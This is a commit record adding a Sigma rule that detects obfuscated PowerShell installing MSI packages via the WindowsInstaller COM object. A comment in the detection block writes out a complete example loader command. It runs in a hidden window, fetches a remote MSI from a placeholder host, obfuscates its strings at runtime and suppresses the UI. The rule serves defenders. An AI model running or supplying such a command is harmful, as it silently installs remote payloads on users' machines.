Merge PR #5436 from @vx3r - Obfuscated PowerShell MSI Install via WindowsInstaller COM

new: Obfuscated PowerShell MSI Install via WindowsInstaller COM --------- Co-authored-by: Meroujan.Antonyan <meroujan.antonyan.external@axa.com> Co-authored-by: Mohamed Ashraf <47338567+X-Junior@users.noreply.github.com>
2025-06-04 13:50:39 +02:00
parent 74fc1c74ec
commit 8e4e286b0b
1 changed files with 45 additions and 0 deletions
@@ -0,0 +1,45 @@
+title: Obfuscated PowerShell MSI Install via WindowsInstaller COM
+id: 7b6a7418-3afc-11f0-aff4-000d3abf478c
+status: experimental
+description: |
+    Detects the execution of obfuscated PowerShell commands that attempt to install MSI packages via the Windows Installer COM object (`WindowsInstaller.Installer`).
+    The technique involves manipulating strings to hide functionality, such as constructing class names using string insertion (e.g., 'indowsInstaller.Installer'.Insert(0,'W')) and correcting
+    malformed URLs (e.g., converting 'htps://' to 'https://') at runtime. This behavior is commonly associated with malware loaders or droppers that aim to bypass static detection
+    by hiding intent in runtime-generated strings and using legitimate tools for code execution. The use of `InstallProduct` and COM object creation, particularly combined with
+    hidden window execution and suppressed UI, indicates an attempt to install software (likely malicious) without user interaction.
+references:
+    - https://informationsecuritybuzz.com/the-real-danger-behind-a-simple-windows-shortcut/
+    - https://redcanary.com/blog/threat-intelligence/intelligence-insights-may-2025/
+    - https://www.virustotal.com/gui/file/f9710b0ba4de5fa0e7ec27da462d4d2fc6838eba83a19f23f6617a466bbad457
+author: Meroujan Antonyan (vx3r)
+date: 2025-05-27
+tags:
+    - attack.defense-evasion
+    - attack.t1027.010
+    - attack.t1218.007
+    - attack.execution
+    - attack.t1059.001
+logsource:
+    category: process_creation
+    product: windows
+detection:
+    # Example: "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -W Hidden -C "$u='htps://example.com/';$i=New-Object -ComObject('indowsInstaller.Installer'.Insert(0,'W'));$i.UILevel=2;$i.InstallProduct($(if($u.StartsWith('htps://')){$u.Insert(2,'t')}else{$u}),'')";
+    selection_img:
+        - Image|endswith:
+              - '\powershell_ise.exe'
+              - '\powershell.exe'
+              - '\pwsh.exe'
+        - OriginalFileName:
+              - 'PowerShell_ISE.EXE'
+              - 'PowerShell.EXE'
+              - 'pwsh.dll'
+    selection_cli:
+        CommandLine|contains|all:
+            - '-ComObject'
+            - 'InstallProduct('
+            - '.Insert('
+            - 'UILevel'
+    condition: all of selection_*
+falsepositives:
+    - Unknown
+level: high